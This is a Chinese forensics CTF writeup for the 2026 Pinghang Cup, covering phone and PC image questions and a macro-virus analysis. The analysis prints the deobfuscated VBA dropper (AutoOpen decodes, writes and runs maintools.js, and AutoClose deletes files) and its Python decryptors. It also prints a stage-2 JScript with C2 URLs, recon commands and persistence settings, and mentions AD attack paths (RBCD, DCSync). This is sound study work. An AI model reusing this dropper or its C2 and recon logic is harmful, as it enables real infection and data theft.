2026平航杯 Writeup
图片加载不出来可以移步我的博客原文:https://blog.enxiaohao.cn/posts/Forensics/2026phbgroupwp/
手机取证
1. 请分析早起王的手机,手机型号为?
【答案格式:Xiaomi13】
Pixel 6
火眼并没有自己解析出来,那我们搜索一下包含build的文件名/data/data/com.google.android.hardwareinfo/files/last_build.txt有build指纹:google/oriole/oriole:14/AP1A.240505.004/11583682:user/release-keys,对应的型号是Google Pixel 6
2. 请分析早起王的手机,早起王最近想旅行,结合高德地图搜索记录,他最可能去的景点是哪个?
【答案格式:黄山】
西湖
3. 请分析早起王的手机,早起王在什么时间加上倩倩微信的?
【答案格式:2025-08-1807:09:19】
2026-03-3015:13:08
4. 请分析早起王的手机,倩倩在2026年3月30号吃了什么?
【答案格式:西湖醋鱼】
麻薯小蛋糕
5. 请分析倩倩的手机,倩倩手机的系统版本是多少?
【答案格式:5.2.3.123】
6.0.0.380
最外面的info.json写了
但是个人认为这里使用备份记录版本来作为手机型号是欠妥的。我们可以找到手机里/com.ohos.settingsdata/com.ohos.settingsdata/data/storage/el1/database/entry/rdb/settingsdata_backup.db这个记录了系统信息的数据库,settingsdata表中的parentcontrol_last_notified_version字段为:
ADA-AL006.0.0.130(SP25C00E130R4P7)个人觉得手机型号为6.0.0.130更严谨
6. 请分析倩倩的手机,“舔狗”的微信内部ID是多少?
【答案格式:wxid_ab12】
wxid_uh5tfx2zi8yh22
7. 请分析倩倩的手机,倩倩曾给一位好友推荐游戏,这个好友叫什么名字?
【答案格式:杨梅】
冰糖
在手机备忘录里面
8. 请分析倩倩的手机结合逆向包,推荐的游戏叫什么?
【答案格式:far echo】
9. 请分析倩倩的手机,倩倩一共阅读过多少条搜狐新闻?
【答案格式:11】
33
找数据库,很好定位,在这里:/com.sohu.harmonynews/com.sohu.harmonynews/data/storage/el2/database/entry/kvdb/2c77515efb1c9f5f9b5fdc9d2f78edae26e57c53dd63b19a9b0728f71f2aa42f/single_ver/main/gen_natural_store.db
一个35条,前两条不是,所以33条
10. 请分析倩倩手机逆向包,数据加密app的包名是什么?
【答案格式:com.komeiji.satori】
com.koishi.fpt
解压即可看见,或者看fpt-default-signed.app
10. 请分析倩倩手机逆向包,数据加密app的包名是什么?
【答案格式:com.komeiji.satori】
com.koishi.fpt
解压即可看见,或者看fpt-default-signed.app
11. 请接上题,初始化app时需要至少几位数的密码?
【答案格式:10】
6
fpt-default-signed.app后缀改成zip可以直接解压,hap文件同理,解压后拿到\倩倩手机逆向包\fpt-default-signed.app\entry-default.hap\ets\modules.abc。这样用abc-decompiler打开,和jadx一样:
爆搜密码,要求至少6位
12. 请接上题,加密后的文件名的后缀是什么?
【答案格式:.enc】
.tb
可以看到一个.json后面跟上了一个.tb(谭师兄的标志哈哈),010打开可以看见文件流是被加密了
13. 请接上题,app会自动识别几种后缀的文件为图片类型?
【答案格式:8】
5
可以看见,getFileType方法会把加密文件后面的.tb抹除,识别的文件图片文件类型有5种
14. 请接上题,app共从用于自定义加密的so模块导入了几个方法?
【答案格式:8】
2
继续往后翻翻,可以看见主要的加密逻辑
自定义的这个d方法中,可以看到两个地方加载了这个libcrypto.so
计算机取证
1. 请分析早起王的PC镜像,计算机系统Build版本是什么?
【答案格式:12345.1234】
19045.6466
2. 请分析早起王的PC镜像,用户深情专一沼气王,她是我的生死劫的登陆密码LM哈希值后六位?
【答案格式: abc123】
1404ee
火眼在设置列里面可以调整,这里太久没取证了,忘记这里了,我直接找了个网站算LMHash,算错了qwq,详细的知识补充看:
https://blog.csdn.net/qq_44108455/article/details/123316800
windows中的hash结构是username:RID:LM-HASH:NT-HASH,其中NTHash就是常说的NTLMHash,而LMHash是用于老式的windows认证,明文密码在14位以内才可以使用LMHash,本质采用DES。
3. 请分析A的PC镜像,沼气王的桌面有本日记,请问沼气王暗恋对象的生日为?
(答案格式:05月26日)
多次输入错误后有提示,密码为大小写字母数字???04,用passwarekit爆破即可
3. 请分析早起王的PC镜像,早起王受到过一封邮件,请找出邮件中隐写的秘密
【答案格式: XXX,xxx】
12点,老地方
misc基本功,垃圾邮件隐写:
邮件隐写:https://www.spammimic.com/
4. 请分析早起王的PC镜像, VeraCrypt容器的外层密码是什么?
【答案格式: abc123】【提示:分析utools】
utools插件里面,仿真起来可以直接看到。
5. 请分析早起王的PC镜像,早起王设置了一个AI女友,并自行导入过一个角色模型,该模型的原始文件名为?
【答案格式: ABC.vrm】
vc挂起来,有一个.vrm文件,ai女友软件很明显就是桌面上的AIRI
这里要求我们上传.vrm或者.ziplive2D文件,那说明就是vc里面的那个.vrm文件
6. 请分析早起王的PC镜像, AI女友使用的模型是什么?
【答案格式: openai/GPT5.3-Codex-01-01】
qwen/qwen3.5-flash-02-23
可以仿真起来看:
如果翻文件夹也行,但是我翻文件夹做的就做错了,能仿真尽量仿真吧。
7. 请分析早起王的PC镜像,该PC中有一个离线大模型软件,其上次对话使用的模型是?
【答案格式: ministra1-3-14b-reasoning】
qwen2.5-coder-14b-instruct
8. 请分析早起王的PC镜像,早起王曾删除一个MD5值为49B367AC261A722A7C2BBC328C32545的恶意文件,请尝试数据恢复并找到其文件名?
【答案格式:abc123】
在vc隐藏层里面,打开之后xway就可以看见,右键恢复。
9. 请分析A的PC镜像,该PC中neo4j数据库的密码是多少?
1qazxsw2
user图片文件夹里的图片,有盲水印,所以neo4j的密码是1qazxsw2
10. 根据早起王笔录内容,早起王曾经对某企业进行过渗透攻击,请分析域内实体关系, FILESERVER.XIAORANG.LAB对XIAORANG.LAB域拥有什么控制权限?
【答案格式: ABCabc】
有关域,详细可以看我这篇:https://blog.enxiaohao.cn/posts/Pentration/DomainPentration/
U盘里面有sharphound生成的域信息搜集文件,这个题目如果打过域渗透会很熟悉的,其实师兄就是拿了云境的Time靶机的域信息出的。
我直接导入我自己的bloodhound了
很明显,DCSync权限
11. 根据早起王笔录内容,早起王在渗透过程中已成功控制ZHANGXINQXIAORANG.LAB,请结合域内实体关系图分析,早起王获取域控权限的完整攻击轨迹是什么?
【答案格式:XXXXXXXX@XXXXXXX.XXX->XXXXXXXXXX.XXXXXXX.XXX->XXXXXXXX.XXX】
ZHANGXIN@XIAORANG.LAB >FILESERVER.XIAORANG.LAB >XIAORANG.LAB
bloodhound里面筛选一下路径,ZHANGXIN@XIAORANG.LAB对FILESERVER.XIAORANG.LAB是GenericAll权限,ACL权限滥用,可以打RBCD,横向到FILESERVER.XIAORANG.LAB,FILESERVER.XIAORANG.LAB有DCSync,可以拿域控NTHash,就结束了。
12. 早起王在PC中记录过自己的犯罪动机并对其进行加密,请使用社工的方式破解加密文件,并提交密码。
【答案格式: aabc3**】
Zqw20040101!
根据早起王的姓名、生日进行社工爆破,先用Tscan生成字典:
爆破:
13. 早起王曾给倩倩发送过一封钓鱼邮件,请找到并计算附件MD5值
【答案格式:字母不区分大小写】
5436B61EA58ADB794804E3F18CE53F2A
不能在火眼导出邮件附件算,md5会有出入。直接拿电脑里面的文件算。
宏病毒
原题: https://www.netscylla.com/blog/2021/09/23/Obfuscated-CTF.html
1. 请接上题,该文件中有多个流(streams)包含宏。请提供其中编号最小的一个。
【答案格式:3】
8
计算机中提取出来的恶意文件火绒直接报毒,是宏病毒。
用oledump.py看所有流:
编号8,9带有VBA宏,所以答案是8
2. 请接上题,混淆代码的解密密钥是什么?
【答案格式:填写传入脚本的实际密钥,不包含命令行分隔空格】
EzZETcSXyKAdF_e5I2i1
导出一下带vba的流:
python oledump.py -s 8 -v 49b367ac261a722a7c2bbbc328c32545 > 8.vba python oledump.py -s 9 -v 49b367ac261a722a7c2bbbc328c32545 > 9.vba导出之后代码有混淆,我们整理一下:
主要行为是从当前文档中定位并提取一段隐藏数据,用XOR解码,落地为maintools.js,然后通过WScript.Shell.Run执行
Attribute VB_Name = "Module1" Public DroppedFilePath As String Public TargetFolderPath As String Function DecodePayload(ByRef payload() As Byte, ByVal dataLength As Long) As Boolean Dim xorKey As Byte Dim index As Long xorKey = 45 For index = 0 To dataLength - 1 payload(index) = payload(index) Xor xorKey xorKey = ((xorKey Xor 99) Xor (index Mod 254)) Next index DecodePayload = True End Function Sub AutoClose() On Error Resume Next Kill DroppedFilePath On Error Resume Next Dim fileSystem As Object Set fileSystem = CreateObject("Scripting.FileSystemObject") fileSystem.DeleteFile TargetFolderPath & "\*.*", True Set fileSystem = Nothing End Sub Sub AutoOpen() On Error GoTo ErrorHandler Dim documentHandle Dim documentSize As Long Dim payloadSize As Long documentSize = FileLen(ActiveDocument.FullName) documentHandle = FreeFile Open (ActiveDocument.FullName) For Binary As #documentHandle Dim documentBytes() As Byte ReDim documentBytes(documentSize) Get #documentHandle, 1, documentBytes Dim documentText As String documentText = StrConv(documentBytes, vbUnicode) Dim matchItem Dim matchCollection Dim regex As Object Set regex = CreateObject("vbscript.regexp") regex.Pattern = "MxOH8pcrlepD3SRfF5ffVTy86Xe41L2qLnqTd5d5R7Iq87mWGES55fswgG84hIRdX74dlb1SiFOkR1Hh" Set matchCollection = regex.Execute(documentText) Dim markerOffset If matchCollection.Count = 0 Then GoTo ErrorHandler End If For Each matchItem In matchCollection markerOffset = matchItem.FirstIndex Exit For Next Dim payloadBytes() As Byte payloadSize = 16827 ReDim payloadBytes(payloadSize) Get #documentHandle, markerOffset + 81, payloadBytes If Not DecodePayload(payloadBytes(), payloadSize + 1) Then GoTo ErrorHandler End If TargetFolderPath = Environ("appdata") & "\Microsoft\Windows" Dim fileSystem As Object Set fileSystem = CreateObject("Scripting.FileSystemObject") If Not fileSystem.FolderExists(TargetFolderPath) Then TargetFolderPath = Environ("appdata") End If Set fileSystem = Nothing Dim outputHandle outputHandle = FreeFile DroppedFilePath = TargetFolderPath & "\" & "maintools.js" Open (DroppedFilePath) For Binary As #outputHandle Put #outputHandle, 1, payloadBytes Close #outputHandle Erase payloadBytes Dim shellObject As Object Set shellObject = CreateObject("WScript.Shell") shellObject.Run """" & DroppedFilePath & """" & " EzZETcSXyKAdF_e5I2i1" ActiveDocument.Save Exit Sub ErrorHandler: Close #outputHandle ActiveDocument.Save End Subauto.open()先是读取了当前文档的二进制值ActiveDocument.FullName,用正则搜索标记字符串
找到后往后取16827字节,用decodepayload解密(去混淆之前叫Q7JOhn5pIl648L6V43V())
解密方法是xor:
然后将结果写入%APPDATA%\Microsoft\Windows\maintools.js,若目录不存在则写到%APPDATA%\maintools.js
最后执行maintools.js EzZETcSXyKAdF_e5I2i1
那么接下来我们根据提取和解密逻辑,把js文件提取解密一下:
frompathlibimportPath INPUT_FILE="49b367ac261a722a7c2bbbc328c32545"EXTRACTED_PAYLOAD_FILE="extracted_payload.bin"DECRYPTED_OUTPUT_FILE="dumped-decryptor.js"MARKER=b"MxOH8pcrlepD3SRfF5ffVTy86Xe41L2qLnqTd5d5R7Iq87mWGES55fswgG84hIRdX74dlb1SiFOkR1Hh"# VBA `Get #file, position, buffer` uses 1-based file positions.# The macro reads from `markerOffset + 81`, which maps to a 0-based Python slice offset of 80.PAYLOAD_OFFSET_FROM_MARKER=80PAYLOAD_SIZE=16828INITIAL_XOR_BYTE=45XOR_CONSTANT=99MODULUS=254defextract_payload(document_bytes:bytes)->bytes:marker_offset=document_bytes.find(MARKER)ifmarker_offset==-1:raiseValueError("Marker not found in input file.")payload_start=marker_offset+PAYLOAD_OFFSET_FROM_MARKER payload_end=payload_start+PAYLOAD_SIZEifpayload_end>len(document_bytes):raiseValueError("Payload extends beyond end of file.")returndocument_bytes[payload_start:payload_end]defdecrypt_payload(data:bytes)->bytes:output=[0]*len(data)xor_byte=INITIAL_XOR_BYTEforindexinrange(len(data)):output[index]=data[index]^xor_byte xor_byte=(xor_byte^XOR_CONSTANT)^(index%MODULUS)xor_byte&=0xFFreturnbytes(output)defmain()->None:input_path=Path(INPUT_FILE)extracted_path=Path(EXTRACTED_PAYLOAD_FILE)decrypted_path=Path(DECRYPTED_OUTPUT_FILE)ifnotinput_path.exists():raiseFileNotFoundError(f"Input file not found:{input_path}")document_bytes=input_path.read_bytes()encrypted_payload=extract_payload(document_bytes)extracted_path.write_bytes(encrypted_payload)decrypted_payload=decrypt_payload(encrypted_payload)decrypted_path.write_text("".join(chr(byte)forbyteindecrypted_payload),encoding="utf-8",errors="ignore",)print(f"Input file:{input_path}")print(f"Extracted payload saved to:{extracted_path}")print(f"Decrypted script saved to:{decrypted_path}")print(f"Payload size:{len(encrypted_payload)}bytes")if__name__=="__main__":main()得到js代码,有混淆
核心是使用了Base64-like 解码 + RC4 + eval,不复杂,可以直接解出stage2
try{var wvy1 = WScript.Arguments;var ssWZ = wvy1(0);var ES3c = y3zb();ES3c = LXv5(ES3c);ES3c = CpPT(ssWZ,ES3c);eval(ES3c); }catch (e)frompathlibimportPathimportre,base64 text=Path('dumped-decryptor.js').read_text(encoding='utf-8',errors='ignore')key='EzZETcSXyKAdF_e5I2i1'm=re.search(r'var qGxZ = "([A-Za-z0-9+/=]+)";',text)ifnotm:raiseSystemExit('payload string not found')blob=base64.b64decode(m.group(1))S=list(range(256))j=0key_bytes=key.encode('latin1')foriinrange(256):j=(j+S[i]+key_bytes[i%len(key_bytes)])%256S[i],S[j]=S[j],S[i]i=j=0out=bytearray()forbinblob:i=(i+1)%256j=(j+S[i])%256S[i],S[j]=S[j],S[i]out.append(b^S[(S[i]+S[j])%256])Path('stage2.js').write_bytes(out)print('stage2 bytes',len(out))print(out[:500].decode('latin1',errors='replace'))
去混淆之后:
// Decompiled and renamed from the second-stage script embedded in dumped-decryptor.js.// The first-stage loader decodes this stage with RC4 key: EzZETcSXyKAdF_e5I2i1functionreadFileBytesCp437(path){varstream=WScript.CreateObject("ADODB.Stream");stream.Type=2;stream.CharSet="437";stream.Open();stream.LoadFromFile(path);vartext=stream.ReadText;stream.Close();returncp437StringToBytes(text);}varC2_URLS=newArray("http://www.saipadiesel124.com/wp-content/plugins/imsanity/tmp.php","http://www.folk-cantabria.com/wp-content/plugins/wp-statistics/includes/classes/gallery_create_page_field.php");varUSER_AGENT_SEED="w3LxnRSbJcqf8HrU";varRECON_COMMANDS=newArray("systeminfo > ","net view >> ","net view /domain >> ","tasklist /v >> ","gpresult /z >> ","netstat -nao >> ","ipconfig /all >> ","arp -a >> ","net share >> ","net use >> ","net user >> ","net user administrator >> ","net user /domain >> ","net user administrator /domain >> ","set >> ","dir %systemdrive%\\Users\\*.* >> ","dir %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.* >> ","dir %userprofile%\\Desktop\\*.* >> ","tasklist /fi \"modules eq wow64.dll\" >> ","tasklist /fi \"modules ne wow64.dll\" >> ","dir \"%programfiles(x86)%\" >> ","dir \"%programfiles%\" >> ","dir %appdata% >> ");varPAYLOAD_RC4_KEY="2f532d6baec3d0ec7b1f98aed4774843";varPERSISTENCE_TASK_NAME="TaskManager";varPERSISTENCE_TASK_DESC="Windows Task Manager";varSTAGE1_ARGUMENT="EzZETcSXyKAdF_e5I2i1";varTASK_FOLDER="WPD";varBASE64_ALPHABET="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";varfileSystem=newActiveXObject("Scripting.FileSystemObject");varscriptName=WScript.ScriptName;varcurrentUsername="";varshell=createShell();varinstallDir="";varpersistedScriptPath="";functionencodeBase64FromBinaryString(input,use8BitChars){varencoded="";varbitBuffer="";for(vari=0;i<input.length;++i){varcharCode=input.charCodeAt(i);varbits=charCode.toString(2);while(bits.length<(use8BitChars?8